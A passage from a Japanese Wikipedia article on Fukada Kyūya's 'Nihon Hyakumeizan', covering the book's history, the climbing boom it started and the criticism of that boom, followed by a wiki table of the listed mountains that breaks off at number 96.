[[1959年]](昭和34年)3月から、朋文堂の雑誌『山と高原』で毎月2座の日本百名山の連載が始まった。山の地誌・歴史、文化史、文学史、山容、自身の登頂記などを2000字程度に簡潔にまとめ、50回連続して[[1963年]](昭和38年)4月号まで書き継がれた<ref name="日本百名山と深田久弥(2004)、25-27頁">[[#日本百名山と深田久弥|日本百名山と深田久弥(2004)、25-27頁]]</ref><ref name="日本百名山の背景 深田久弥 二つの愛(2004)、219頁">[[#日本百名山の背景深田久弥二つの愛|日本百名山の背景 深田久弥 二つの愛(2004)、219頁]]</ref>。初回は鳥海山と男体山、最終回は筑波山と富士山だった。山の愛好者から好評を得て、この雑誌の読者による人気投票で第1回読者賞を獲得した<ref name="日本百名山の背景 深田久弥 二つの愛(2004)、219頁" />。その後、1年余りの推敲が重ねられて、[[1964年]](昭和39年)に[[新潮社]]から『日本百名山』の単行本が出版された<ref name="日本百名山(1964)" />。各山の文章中に、山周辺の地図と山の白黒写真が挿入された版もある。好評を得て、深田のこの著書が第16回読売文学賞(評論・伝記賞)を受賞した。その贈賞式は[[1965年]](昭和40年)2月6日に、[[読売ホール|読売会館]]で行われた。
== 日本百名山のその後 ==
[[画像:Mt.Kayagatake-Fukada monument (200711).jpg|thumb|200px|[[深田久弥]]終焉の地の[[茅ヶ岳]]。1971年3月21日に山上で、脳卒中で急逝。]]
深田はこの本の出版後も相変わらず山に登り続けて、ぜひ百名山に入れたいと思ういくつかの山を知った。それらは標高としては第2線級ではあるが、その山容の美しさや品格のある点では[[日本の山一覧 (3000m峰) |3000 m峰]]にも劣らなかったと記している<ref name="山頂の憩い-「日本百名山」その後(2000)、15頁">[[#山頂の憩い|山頂の憩い-「日本百名山」その後(2000)、15頁]]</ref>。[[1971年]](昭和46年)に出版された山岳紀行[[エッセイ]]集『山頂の憩い-「日本百名山」その後』では、20座程が紹介された。[[ニペソツ山]]については、「日本百名山を出版した時、この山をまだ見ておらず、ニペソツには申し訳なかったが百名山には入れなかった。実に立派な山であることを登ってみて初めて知った。」と記載している<ref name="山頂の憩い-「日本百名山」その後(2000)、115頁">[[#山頂の憩い|山頂の憩い-「日本百名山」その後(2000)、115頁]]</ref>。多くの人の意見を聞いて若干の山の差替えをするつもりのようであったが<ref name="日本百名山(1964)、後記" />、結局1964年の出版後に百座の入替えが行われることはなかった。『山頂の憩い-「日本百名山」その後』が[[遺作]]となり、1971年3月21日登山中の山梨県の[[茅ヶ岳]]にて、[[脳血管障害|脳卒中]]で急逝した。
なお、本書につづいて深田は、[[1970年]](昭和45年)に山岳雑誌『岳人』の1月号(第271号)から『世界百名山』の連載を始めた。41座まで書かれたところで急逝し未完成となったが、『世界百名山―絶筆41座』が新潮社より出版された<ref>{{Cite book |和書 |year=1974 |author=深田久弥 |title=世界百名山―絶筆41座 |publisher=新潮社 |isbn=}}[[ASIN]] B000J9GLAA。</ref>。 登山史の深い検証や幅広い文献収集を土台としており、日本百名山以上の名著とする評価もある。
[[1982年]](昭和57年)から、茅ヶ岳山麓の山梨県[[韮崎市]]で深田の遺徳を偲ぶ碑前祭である『深田祭』と記念登山のイベントが毎年実施されている<ref>{{Cite web|和書|url=http://www.nirasaki-kankou.jp/?page_id=254 |title=深田祭 |publisher=韮崎市観光協会 |accessdate=2011-11-18}}</ref>。
[[2002年]](平成14年)12月に、[[石川県]][[加賀市]]大聖寺に「深田久弥 山の文化館」がオープンした<ref>{{Cite web|和書|url=http://www.city.kaga.ishikawa.jp/article/ar_detail.php?ev_init=1&arm_id=401-0028-3386 |title=深田久弥 山の文化館 |publisher=加賀市 |accessdate=2011-11-18}}</ref>。
[[2007年]](平成19年)には屋久島のガイド・島津康一郎が日本百名山を48日間(6月14日~7月31日)で連続踏破し、平田和文が2002年に達成していた最短記録(66日間)を更新した<ref>[http://www.47news.jp/CI/200708/CI-20070810-9234596.html 百名山、最短48日で踏破 屋久の島津さん]</ref>。[[2014年]]には山岳ガイドの藤川健がさらに記録を短縮し、33日間(9月1日~10月3日)という日本百名山登頂の最短記録を達成した<ref>[http://www.kahoku.co.jp/tohokunews/201409/20140906_73006.html 「日本百名山」最短踏破に挑戦 札幌の男性]</ref><ref>[http://www.yamakei-online.com/journal/detail.php?id=2639 史上最速、33日間で日本百名山登頂達成!]</ref>。
個人の日本百名山の登頂記の書籍が多数出版されている<ref name="クレイグ・マクラクラン(1997)">[[#クレイグ・マクラクラン|クレイグ・マクラクラン(1997)]]</ref>。
== 日本百名山ブーム ==
本書は紀行文集でも案内書でも、まして登山入門書でもないのだが、この本を通じて、今まで知らなかった日本の山々の魅力を知り、自分もこれらの山に登ってみようという人たちが、登るべき100の山の指標だという勘違いから「日本百名山ブーム」が起き、現在も継続している<ref name="日本百名山の背景深田久弥二つの愛(2004)、220頁">[[#日本百名山の背景深田久弥二つの愛|日本百名山の背景深田久弥二つの愛(2004)、220頁]]</ref>。百座のうち自分がいくつ登ったか増えていくのを楽しみにしている読者もいる<ref name="日本百名山、解説(串田孫一)" />。ただし、深田久弥自身は戦前以来の経験豊富な仲間との奥深い「避衆」登山を好み、一方で[[第2次RCC]]の奥山章などの若い世代のパイオニア的な登山も背後から奨励していただけに、そのような登山初心者の風潮にいささか困惑していた。
一方、自分で山岳の探究をせずに「日本百名山」だけに人々が群がり、シーズン中の百名山周辺の山小屋が旅行会社のツアー客も交えて混雑し、登山道が荒廃するような山登りのありかたを批判する意見もある<ref name="新・傷だらけの百名山(2005)">[[#新・傷だらけの百名山|新・傷だらけの百名山(2005)"]]</ref><ref name="脱百名山登山学(2008)">[[#脱百名山登山学|脱百名山登山学(2008)"]]</ref>。もとより深田久弥の「罪」とされているわけではないが、国内外で1500座以上の山岳を登頂した山歴を持つ[[今西錦司]]は、百名山は深田がいわば酔狂と身びいきで選定したもので、基準も関東中心で絶対的ではないとした。そして、[[筑波山]]のように東京から見える山ではなく、標高も1500メートルにも満たない低山ではあるが、生態系の多様性や歴史・伝承に満ちた集落を有し、「日本百名山」に匹敵する立派な山が京都北山の奥深くにあるのを知っている。しかし、「深田百名山」のように荒らされると困るので、どこの山なのかは絶対に書かないと、[[京都学派]]らしく皮肉っぽく述べている<ref name="日本百名山、名山考(今西錦司)">[[#日本百名山(1964)|日本百名山、名山考(今西錦司)]]</ref>。
== 選定された百山の一覧 ==
=== 著書順の山の一覧 ===
{{座標一覧|article=Category:日本百名山}}
深田久弥の『日本百名山』に記述されている百座を、その順に以下のリストに示す<ref name="日本百名山(1964)" /><ref>{{Cite book|和書 |year=2010 |month=12 |title=山と溪谷2011年1月号付録(山の便利手帳2011) |publisher=[[山と渓谷|山と溪谷社]] |pages=322-323、[[ASIN]] B004DPEH6G}}</ref>。[[日本の国立公園#現存する国立公園|国立公園]]内にある山、[[各都道府県の最高峰]]、[[火山]]などが多数含まれている。[[日本の山一覧 (3000m峰)|3000 mを越える山]]が13座含まれている。高い山が少ない[[西日本]]の山の選定数は少なく、選定されていない都道府県が多数ある。
'''各項目の▲記号をクリックすることにより、ソートすることが可能である<ref group="注釈">本項では、記事としてより相応しい画像を募集中。よい画像があれば差し替え願いたい。また、他言語への展開を考慮して、[[Wikipedia:ウィキメディア・コモンズ]]の登録画像を推奨する。</ref>。'''{{-}}
{| class="sortable" style="padding:1; border-spacing:3; border:1px solid #e7dcc3; font-size:small;"
|- style="background-color:#ccc"
!番号
!山名
!よみ
![[標高]]([[メートル|m]])
!山系
![[都道府県]]
!備考
!山容
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| 1 || '''[[利尻山|利尻岳]]''' || {{smaller|りしりだけ}} || 1721 || [[利尻島]] || [[北海道]] || [[利尻礼文サロベツ国立公園]] || [[File:Mt Rishiri(2004).jpg|70x70px| ]]
|-
| 2 || '''[[羅臼岳]]''' || {{smaller|らうすだけ}} || 1660 || [[知床半島]] || 北海道 || [[知床 (世界遺産)]]<br />[[知床国立公園]] || [[File:Rausu-dake 02.JPG|70x70px| ]]
|-
| 3 || '''[[斜里岳]]''' || {{smaller|しゃりだけ}} || 1547 || 知床半島 || 北海道 || [[斜里岳道立自然公園]] || [[File:Mt Shari 6.JPG|70x70px| ]]
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| 4 || '''[[雌阿寒岳|阿寒岳]]''' || {{smaller|あかんだけ}} || 1499 || 独立峰 || 北海道 || [[阿寒摩周国立公園]] || [[File:Mount Meakan01s10.jpg|70x70px| ]]
|-
| 5 || '''[[大雪山]]''' || {{smaller|たいせつざん}} || 2291 || [[大雪山系]] || 北海道 || [[大雪山国立公園]]<br />[[各都道府県の最高峰|北海道の最高峰]] || [[File:Daisetsu0001.jpg|70x70px| ]]
|-
| 6 || '''[[トムラウシ山|トムラウシ]]''' || {{smaller|とむらうし}} || 2141 || 大雪山系 || 北海道 || 大雪山国立公園 || [[File:Tomuraushi from chuubetsudake 2006-8-25.jpg|70x70px| ]]
|-
| 7 || '''[[十勝岳]]''' || {{smaller|とかちだけ}} || 2077 || 大雪山系 || 北海道 || 大雪山国立公園 || [[File:Mount Tokachi from Mount Biei 1998-8-9.jpg|70x70px| ]]
|-
| 8 || '''[[幌尻岳]]''' || {{smaller|ぽろしりだけ}} || 2052 || [[日高山脈]] || 北海道 || [[日高山脈襟裳国定公園]] || [[File:Mt.Poroshiridake from Mt.Tottabetsudake.jpg|70x70px| ]]
|-
| 9 || '''[[羊蹄山|後方羊蹄山]]''' || {{smaller|しりべしやま}} || 1898 || 独立峰 || 北海道 || [[支笏洞爺国立公園]]<br />[[郷土富士|蝦夷富士]] || [[File:Yotei-zan-from-hirafu.jpg|70x70px| ]]
|-
|10 || '''[[岩木山]]''' || {{smaller|いわきさん}} || 1625 || 独立峰 || [[青森県]] || [[津軽国定公園]]<br />[[郷土富士|津軽富士]]<br />青森県の最高峰 || [[File:Mt Iwaki and Nanohana Ajigasawa Aomori Jp P5111202.jpg|70x70px| ]]
|-
|11 || '''[[八甲田山]]''' || {{smaller|はっこうださん}} || 1584 || [[奥羽山脈]] || 青森県 || [[十和田八幡平国立公園]] || [[File:Hakkodasan seen from the northwest.jpg|70x70px| ]]
|-
|12 || '''[[八幡平]]''' || {{smaller|はちまんたい}} || 1614 || 奥羽山脈 || [[岩手県]]<br />[[秋田県]] || 十和田八幡平国立公園 || [[File:Hachimann numa 2008.jpg|70x70px| ]]
|-
|13 || '''[[岩手山]]''' || {{smaller|いわてさん}} || 2038 || 奥羽山脈 || 岩手県 || 十和田八幡平国立公園<br />岩手県の最高峰 || [[File:春子谷地からの岩手山 Mt. Iwate from Haruko-Yachi Marshland - panoramio.jpg|70x70px| ]]
|-
|14 || '''[[早池峰山|早池峰]]''' || {{smaller|はやちね}} || 1917 || [[北上山地]] || 岩手県 || [[早池峰国定公園]] || [[File:Mount Hayachine from the Iwate Pref Road 25.jpg|70x70px| ]]
|-
|15 || '''[[鳥海山]]''' || {{smaller|ちょうかいさん}} || 2236 || [[出羽山地]] || 秋田県<br />[[山形県]] || [[鳥海国定公園]]<br />山形県の最高峰 || [[File:Mount Chōkai (2017-05-19) - Flickr.jpg|70x70px| ]]
|-
|16 || '''[[月山]]''' || {{smaller|がっさん}} || 1984 || 出羽山地 || 山形県 || [[磐梯朝日国立公園]] || [[File:Precincts of Gassan jinja.JPG|70x70px| ]]
|-
|17 || '''[[朝日岳 (山形県・新潟県)|朝日岳]]''' || {{smaller|あさひだけ}} || 1870 || [[朝日山地]] || 山形県<br />[[新潟県]] || 磐梯朝日国立公園 || [[File:Mt_Oasahi_3.JPG|70x70px| ]]
|-
|18 || '''[[蔵王連峰|蔵王山]]''' || {{smaller|ざおうさん}} || 1841 || 奥羽山脈 || [[宮城県]]<br />山形県 || [[蔵王国定公園]]<br />宮城県の最高峰 || [[File:Mount_Zaō_and_Sakura_01.jpg|70x70px| ]]
|-
|19 || '''[[飯豊山]]''' || {{smaller|いいでさん}} || 2128 || [[飯豊山地]] || 山形県<br />[[福島県]]<br />新潟県 || 磐梯朝日国立公園 || [[File:Mt. Iide.JPG|70x70px| ]]
|-
|20 || '''[[吾妻山]]''' || {{smaller|あづまさん}} || 2035 || 奥羽山脈 || 山形県<br />福島県 || 磐梯朝日国立公園 || [[File:Mt. Higashi-azuma.JPG|70x70px| ]]
|-
|21 || '''[[安達太良山]]''' || {{smaller|あだたらやま}} || 1709 || 奥羽山脈 || 福島県 || 磐梯朝日国立公園 || [[File:Adatara.jpg|70x70px| ]]
|-
|22 || '''[[磐梯山]]''' || {{smaller|ばんだいさん}} || 1816 || 奥羽山脈 || 福島県 || 磐梯朝日国立公園 || [[File:Mt. Bandaisan 0811.JPG|70x70px| ]]
|-
|23 || '''[[会津駒ヶ岳]]''' || {{smaller|あいづこまがだけ}} || 2133 || [[越後山脈]] || 福島県 || [[尾瀬国立公園]] || [[File:Mt. Aizukoma 080812.JPG|70x70px| ]]
|-
|24 || '''[[那須岳]]''' || {{smaller|なすだけ}} || 1917 || 那須連山 || 福島県<br />[[栃木県]] || [[日光国立公園]] || [[File:Mt.Chausu&Mt.Asahi.jpg|70x70px| ]]
|-
|25 || '''[[越後駒ヶ岳|魚沼駒ヶ岳]]''' || {{smaller|うおぬまこまがたけ}} || 2003 || [[越後山脈]] || [[新潟県]] || [[越後三山只見国定公園]] || [[File:Mt.Echigo-Komagatake.jpg|70x70px| ]]
|-
|26 || '''[[平ヶ岳 (群馬県・新潟県)|平ヶ岳]]''' || {{smaller|ひらがたけ}} || 2141 || [[三国山脈]] || 新潟県<br />[[群馬県]] || 越後三山只見国定公園 || [[File:Mt. Hiragatake 0809.JPG|70x70px| ]]
|-
|27 || '''[[巻機山]]''' || {{smaller|まきはたやま}} || 1967 || 三国山脈 || 新潟県<br />群馬県 || [[魚沼連峰県立自然公園]] || [[File:巻機山・古峰山.JPG|70x70px| ]]
|-
|28 || '''[[燧ヶ岳|燧岳]]''' || {{smaller|ひうちだけ}} || 2356 || 越後山脈 || 福島県 || 尾瀬国立公園<br />福島県の最高峰 || [[File:Hiuchigatake 080923 4.JPG|70x70px| ]]
|-
|29 || '''[[至仏山]]''' || {{smaller|しぶつさん}} || 2228 || 越後山脈 || 群馬県 || 尾瀬国立公園 || [[File:Mt.Shibutsu 16.jpg|70x70px| ]]
|-
|30 || '''[[谷川岳]]''' || {{smaller|たにがわだけ}} || 1977 || 三国山脈 || 新潟県<br />群馬県 || [[上信越高原国立公園]] || [[File:Tanigawadake.jpg|70x70px| ]]
|-
|31 || '''[[雨飾山]]''' || {{smaller|あまかざりやま}} || 1963 || [[頸城山塊]] || 新潟県<br />[[長野県]] || [[妙高戸隠連山国立公園]] || [[File:Mt.Amakazari from Mt.Myouji.jpg|70x70px| ]]
|-
|32 || '''[[苗場山]]''' || {{smaller|なえばさん}} || 2145 || 三国山脈 || 新潟県<br />長野県 || 上信越高原国立公園 || [[File:Moor of Mt. Naeba in the late autumn 2016.jpg|70x70px| ]]
|-
|33 || '''[[妙高山]]''' || {{smaller|みょうこうさん}} || 2454 || 頸城山塊 || 新潟県 || 妙高戸隠連山国立公園 || [[File:Mt Myoko from Northeast.JPG|70x70px| ]]
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|34 || '''[[火打山]]''' || {{smaller|ひうちやま}} || 2462 || 頸城山塊 || 新潟県 || 妙高戸隠連山国立公園 || [[File:Hiuchitama 1999-9-4.jpg|70x70px| ]]
|-
|35 || '''[[高妻山]]''' || {{smaller|たかつまやま}} || 2353 || [[戸隠連峰]] || 新潟県<br />長野県 || 妙高戸隠連山国立公園 || [[File:Mount Takatsuma from Mount Hiuchi 1996-6-29.jpg|70x70px| ]]
|-
|36 || '''[[男体山]]''' || {{smaller|なんたいさん}} || 2486 || [[日光連山]] || 栃木県 || 日光国立公園 || [[File:Mount nantai and lake chuzenji.jpg|70x70px| ]]
|-
|37 || '''[[日光白根山|奥白根山]]''' || {{smaller|おくしらねさん}} || 2578 || 日光連山 || 栃木県<br />[[群馬県]] || 日光国立公園<br />栃木県の最高峰<br />群馬県の最高峰 || [[File:Mt.Nikko-Shirane.jpg|70x70px| ]]
|-
|38 || '''[[皇海山]]''' || {{smaller|すかいさん}} || 2144 || [[足尾山地]] || 栃木県<br />群馬県 || 日光国立公園 || [[File:Sukai-01.jpg|70x70px| ]]
|-
|39 || '''[[武尊山]]''' || {{smaller|ほたかやま}} || 2158 || 越後山脈 || 群馬県 || || [[File:Mt Joshu-Hotaka 2005.jpg|70x70px| ]]
|-
|40 || '''[[赤城山]]''' || {{smaller|あかぎやま}} || 1828 || 独立峰 || 群馬県 || 県立赤城公園 || [[File:MountAkagi.jpg|70x70px| ]]
|-
|41 || '''[[草津白根山]]''' || {{smaller|くさつしらねさん}} || 2171 || 独立峰 || 群馬県 || 上信越高原国立公園 || [[File:Kusatsu-Shiranesan01s5s4272.jpg|70x70px| ]]
|-
|42 || '''[[四阿山]]''' || {{smaller|あずまやさん}} || 2354 || [[菅平高原]] || 群馬県<br />[[長野県]] || 上信越高原国立公園 || [[File:Mt.Azumaya.JPG|70x70px| ]]
|-
|43 || '''[[浅間山]]''' || {{smaller|あさまやま}} || 2568 || 浅間山系 || 群馬県<br />長野県 || 上信越高原国立公園 || [[File:Mount Asama and Volcanic gas 1996-9-1.jpg|70x70px| ]]
|-
|44 || '''[[筑波山]]''' || {{smaller|つくばさん}} || 877 || [[八溝山地]] || [[茨城県]] || [[水郷筑波国定公園]] || [[File:Mt.Tsukuba.jpg|70x70px| ]]
|-
|45 || '''[[白馬岳]]''' || {{smaller|しろうまだけ}} || 2932 || [[後立山連峰]] || 長野県<br />[[富山県]] || [[中部山岳国立公園]] || [[File:Shiroumadake from maruyama 26 2000 7 30.jpg|70x70px| ]]
|-
|46 || '''[[五竜岳]]''' || {{smaller|ごりゅうだけ}} || 2814 || 後立山連峰 || 長野県<br />富山県 || 中部山岳国立公園 || [[File:Goryudake from Kitazyo 1996-1-2.jpg|70x70px| ]]
|-
|47 || '''[[鹿島槍ヶ岳|鹿島槍岳]]''' || {{smaller|かしまやりだけ}} || 2889 || 後立山連峰 || 長野県<br />富山県 || 中部山岳国立公園 || [[File:Kashimayarigatake from jiigatake 2001-11-20.jpg|70x70px| ]]
|-
|48 || '''[[剱岳]]''' || {{smaller|つるぎだけ}} || 2999 || [[立山連峰]] || 富山県 || 中部山岳国立公園<br />[[氷河]]が現存 || [[File:Tsurugidake 20100127.jpg|70x70px| ]]
|-
|49 || '''[[立山]]本峰''' || {{smaller|たてやま}} || 3015 || 立山連峰 || 富山県 || 中部山岳国立公園<br />氷河が現存<br />富山県の最高峰 || [[File:20 Tateyama from Mikurigaike 1998-7-17.jpg|70x70px| ]]
|-
|50 || '''[[薬師岳]]''' || {{smaller|やくしだけ}} || 2926 || [[飛騨山脈]] || 富山県 || 中部山岳国立公園 || [[File:Mount Yakushi from Mount Jii 2004-8-13.JPG|70x70px| ]]
|-
|51 || '''[[黒部五郎岳]]''' || {{smaller|くろべごろうだけ}} || 2840 || 飛騨山脈 || 富山県<br />[[岐阜県]] || 中部山岳国立公園 || [[File:Mount Kurobegoro from Mount Suisho 1999-08-09.jpg|70x70px| ]]
|-
|52 || '''[[水晶岳|黒岳]]''' || {{smaller|くろだけ}} || 2986 || 飛騨山脈 || 富山県 || 中部山岳国立公園 || [[File:Mount Suisho from Mount jii 2004-8-13.JPG|70x70px| ]]
|-
|53 || '''[[鷲羽岳]]''' || {{smaller|わしばだけ}} || 2924 || 飛騨山脈 || 長野県<br />富山県 || 中部山岳国立公園 || [[File:Mount Washibadake from Huts Mitsumata 2004-8-13.jpg|70x70px| ]]
|-
|54 || '''[[槍ヶ岳]]''' || {{smaller|やりがたけ}} || 3180 || 飛騨山脈 || 長野県<br />岐阜県 || 中部山岳国立公園 || [[File:05 Yarigatake from Higashikamaone 2000-8-16.jpg|70x70px| ]]
|-
|55 || '''[[穂高岳]]''' || {{smaller|ほたかだけ}} || 3190 || 飛騨山脈 || 長野県<br />岐阜県 || 中部山岳国立公園<br />長野県の最高峰<br />岐阜県の最高峰 || [[File:Hotakadake from Cyogatake 1999-8-1.jpg|70x70px| ]]
|-
|56 || '''[[常念岳]]''' || {{smaller|じょうねんだけ}} || 2857 || [[常念山脈]] || 長野県 || 中部山岳国立公園 || [[File:Mount Jonen from Mount Akaiwa 2003-9-14.jpg|70x70px| ]]
|-
|57 || '''[[笠ヶ岳]]''' || {{smaller|かさがだけ}} || 2897 || 飛騨山脈 || 岐阜県 || 中部山岳国立公園 || [[File:Mount Kasagatake from Mount Nukedo 1999-8-8.jpg|70x70px| ]]
|-
|58 || '''[[焼岳]]''' || {{smaller|やけだけ}} || 2455 || 飛騨山脈 || 長野県<br />岐阜県 || 中部山岳国立公園 || [[File:Yakedake from Kamikochi 1999-5-22.jpg|70x70px| ]]
|-
|59 || '''[[乗鞍岳]]''' || {{smaller|のりくらだけ}} || 3026 || 飛騨山脈 || 長野県<br />岐阜県 || 中部山岳国立公園 || [[File:Norikuradake from nishiho 1995 10 7.jpg|70x70px| ]]
|-
|60 || '''[[御嶽山]]''' || {{smaller|おんたけさん}} || 3067 || 独立峰 || 長野県<br />岐阜県 || [[御岳県立公園]](長野県)<br />[[御嶽山県立自然公園]](岐阜県) || [[File:Ontake-air.jpg|70x70px| ]]
|-
|61 || '''[[美ヶ原]]''' || {{smaller|うつくしがはら}} || 2034 || 中信高原 || 長野県 || [[八ヶ岳中信高原国定公園]] || [[File:Ushibuseyama observatory.jpg|70x70px| ]]
|-
|62 || '''[[霧ヶ峰]]''' || {{smaller|きりがみね}} || 1925 || 中信高原 || 長野県 || 八ヶ岳中信高原国定公園 || [[File:Kirigamine seen from the east 2018-03-04.jpg|70x70px| ]]
|-
|63 || '''[[蓼科山]]''' || {{smaller|たてしなやま}} || 2530 || [[八ヶ岳連峰]] || 長野県 || 八ヶ岳中信高原国定公園 || [[File:Tateshinayama-fuyu.JPG|70x70px| ]]
|-
|64 || '''[[八ヶ岳]]''' || {{smaller|やつがたけ}} || 2899 || 八ヶ岳連峰 || 長野県<br />[[山梨県]] || 八ヶ岳中信高原国定公園 || [[File:Mt.Akadake from Mt.Yokodake 06.jpg|70x70px| ]]
|-
|65 || '''[[両神山]]''' || {{smaller|りょうかみさん}} || 1723 || [[奥秩父山塊]] || [[埼玉県]] || [[秩父多摩甲斐国立公園]] || [[File:Saitama, oganomachi mount Ryokami 2007.jpg|70x70px| ]]
|-
|66 || '''[[雲取山]]''' || {{smaller|くもとりやま}} || 2017 || 奥秩父山塊 || 埼玉県<br />[[東京都]]<br />山梨県 || 秩父多摩甲斐国立公園<br />東京都の最高峰 || [[File:Kumotori-nanatsuishi.JPG|70x70px| ]]
|-
|67 || '''[[甲武信ヶ岳|甲武信岳]]''' || {{smaller|こぶしだけ}} || 2475 || 奥秩父山塊 || 埼玉県<br />長野県<br />山梨県 || 秩父多摩甲斐国立公園 || [[File:Mt.Kobushigatake from Mt.Tokusa 03.jpg|70x70px| ]]
|-
|68 || '''[[金峰山 (山梨県・長野県)|金峰山]]''' || {{smaller|きんぷさん}} || 2599 || 奥秩父山塊 || 長野県<br />山梨県 || 秩父多摩甲斐国立公園 || [[File:Mt.Kinpu from West 02.jpg|70x70px| ]]
|-
|69 || '''[[瑞牆山]]''' || {{smaller|みずがきやま}} || 2230 || 奥秩父山塊 || 山梨県 || 秩父多摩甲斐国立公園 || [[File:Mt.Mizugaki 02.jpg|70x70px| ]]
|-
|70 || '''[[大菩薩嶺|大菩薩岳]]''' || {{smaller|だいぼさつだけ}} || 2057 || 奥秩父山塊 || 山梨県 || 秩父多摩甲斐国立公園 || [[File:Mount Daibosatsurei.jpg|70x70px| ]]
|-
|71 || '''[[丹沢山]]''' || {{smaller|たんざわさん}} || 1673 || [[丹沢山地]] || [[神奈川県]] || [[丹沢大山国定公園]]<br /> || [[File:Tanzawa Mountains from Mt.Bukka 01.jpg|70x70px| ]]
|-
|72 || '''[[富士山 (代表的なトピック)|富士山]]''' || {{smaller|ふじさん}} || 3776 || 独立峰 || 山梨県<br />[[静岡県]] || [[富士箱根伊豆国立公園]]<br />山梨県の最高峰<br />静岡県の最高峰 || [[File:Mount Fuji from Hotel Mt Fuji 1995-2-7.jpg|70x70px| ]]
|-
|73 || '''[[天城山]]''' || {{smaller|あまぎさん}} || 1405 || [[伊豆半島]] || 静岡県 || 富士箱根伊豆国立公園 || [[File:Mount Amagi 20120218.jpg|70x70px| ]]
|-
|74 || '''[[木曽駒ヶ岳]]''' || {{smaller|きそこまがたけ}} || 2956 || [[木曽山脈]] || 長野県 || [[中央アルプス国定公園]] || [[File:Mt.Kisokomagatake from Mt.Utsugidake 01.jpg|70x70px| ]]
|-
|75 || '''[[空木岳]]''' || {{smaller|うつぎだけ}} || 2864 || 木曽山脈 || 長野県 || 中央アルプス国定公園 || [[File:Mt.Utsugidake 12.jpg|70x70px| ]]
|-
|76 || '''[[恵那山]]''' || {{smaller|えなさん}} || 2191 || 木曽山脈 || 長野県<br />岐阜県 || 中央アルプス国定公園(長野県)<br />[[胞山県立自然公園]](岐阜県) || [[File:Enasan from north 2010-9-17.JPG|70x70px| ]]
|-
|77 || '''[[甲斐駒ヶ岳]]''' || {{smaller|かいこまがたけ}} || 2967 || [[赤石山脈]] || 山梨県<br />長野県 || [[南アルプス国立公園]] || [[File:Kaikomagatake from kurisawayama 1998 10 11.jpg|70x70px| ]]
|-
|78 || '''[[仙丈ヶ岳|仙丈岳]]''' || {{smaller|せんじょうだけ}} || 3033 || 赤石山脈 || 山梨県<br />長野県 || 南アルプス国立公園 || [[File:Senjogatake from Kitadake 2001-10-3.jpg|70x70px| ]]
|-
|79 || '''[[鳳凰山]]''' || {{smaller|ほうおうざん}} || 2840 || 赤石山脈 || 山梨県 || 南アルプス国立公園 || [[File:Mount Houousan from Kitadake 2001-10-3.jpg|70x70px| ]]
|-
|80 || '''[[北岳]]''' || {{smaller|きただけ}} || 3193 || 赤石山脈 || 山梨県 || 南アルプス国立公園 || [[File:Mount Kita from Mount Nakashirane 2001-10-03.JPG|70x70px| ]]
|-
|81 || '''[[間ノ岳]]''' || {{smaller|あいのだけ}} || 3190 || 赤石山脈 || 山梨県<br />静岡県 || 南アルプス国立公園 || [[File:Mount Aino fom Mount Kita 2001-7-2.jpg|70x70px| ]]
|-
|82 || '''[[塩見岳]]''' || {{smaller|しおみだけ}} || 3052 || 赤石山脈 || 長野県<br />静岡県 || 南アルプス国立公園 || [[File:Mount Shiomi from Eboshi 1996-10-20.jpg|70x70px| ]]
|-
|83 || '''[[荒川岳|悪沢岳]]''' || {{smaller|わるさわだけ}} || 3141 || 赤石山脈 || 長野県<br />静岡県 || 南アルプス国立公園 || [[File:13 Arakawadake from Shiomidake 2000-7-9.jpg|70x70px| ]]
|-
|84 || '''[[赤石岳]]''' || {{smaller|あかいしだけ}} || 3120 || 赤石山脈 || 長野県<br />静岡県 || 南アルプス国立公園 || [[File:Akaishidake from senmaidake 07 1994 7 31.jpg|70x70px| ]]
|-
|85 || '''[[聖岳]]''' || {{smaller|ひじりだけ}} || 3013 || 赤石山脈 || 長野県<br />静岡県 || 南アルプス国立公園 || [[File:21 Hijiridake from Minamidake 1996-11-16.jpg|70x70px| ]]
|-
|86 || '''[[光岳]]''' || {{smaller|てかりだけ}} || 2591 || 赤石山脈 || 長野県<br />静岡県 || 南アルプス国立公園 || [[File:Mount Tekari from Mount Kamikochi 2003-11-23.jpg|70x70px| ]]
|-
|87 || '''[[白山]]''' || {{smaller|はくさん}} || 2702 || [[両白山地]] || 岐阜県<br />[[石川県]] || [[白山国立公園]] || [[File:Mount Haku from Onanjimine 2011-07-17.jpg|70x70px| ]]
|-
|88 || '''[[荒島岳]]''' || {{smaller|あらしまだけ}} || 1523 || 越美山地 || [[福井県]] || [[奥越高原県立自然公園]] || [[File:Arashimadake from shakushidake 2005-4-9.JPG|70x70px| ]]
|-
|89 || '''[[伊吹山]]''' || {{smaller|いぶきやま}} || 1377 || [[伊吹山地]] || 岐阜県<br />[[滋賀県]] || [[琵琶湖国定公園]]<br />滋賀県の最高峰 || [[File:Mount Ibuki and N700 Series Shinkansen.jpg|70x70px| ]]
|-
|90 || '''[[大台ヶ原山]]''' || {{smaller|おおだいがはらやま}} || 1695 || [[台高山脈]] || [[三重県]]<br />[[奈良県]] || [[吉野熊野国立公園]]<br />三重県の最高峰 || [[File:Mount Odaigahara - panoramio.jpg|70x70px| ]]
|-
|91 || '''[[大峰山]]''' || {{smaller|おおみねさん}} || 1915 || [[紀伊山地]] || 奈良県 || 吉野熊野国立公園<br />奈良県の最高峰 || [[File:Hakkyo01.JPG|70x70px| ]]
|-
|92 || '''[[大山 (鳥取県)|大山]]''' || {{smaller|だいせん}} || 1729 || [[中国山地]] || [[鳥取県]] || [[大山隠岐国立公園]]<br />鳥取県の最高峰 || [[File:Daisen 2017-01-28 (32585525175).jpg|70x70px| ]]
|-
|93 || '''[[剣山]]''' || {{smaller|つるぎさん}} || 1955 || [[四国山地]] || [[徳島県]] || [[剣山国定公園]]<br />徳島県の最高峰 || [[File:Mt.Tsurugisan.jpg|70x70px| ]]
|-
|94 || '''[[石鎚山]]''' || {{smaller|いしづちさん}} || 1982 || 四国山地 || [[愛媛県]] || [[石鎚国定公園]]<br />愛媛県の最高峰 || [[File:Isiduti03.jpg|70x70px| ]]
|-
|95 || '''[[九重山]]''' || {{smaller|くじゅうさん}} || 1791 || 九重火山群 || [[大分県]] || [[阿蘇くじゅう国立公園]]<br />大分県の最高峰 || [[File:Kuju-san.JPG|70x70px| ]]
|-
|96 || '''[[祖母山]]''' || {{smaller|そぼさん}} || 1756 || [[九州山地]] || 大分県<br />[[宮崎県]] || [[祖母傾国定公園]]<br />宮崎県の最高峰 || [[File:Mt.Sobo.jpg|70x70px| ]]
|-
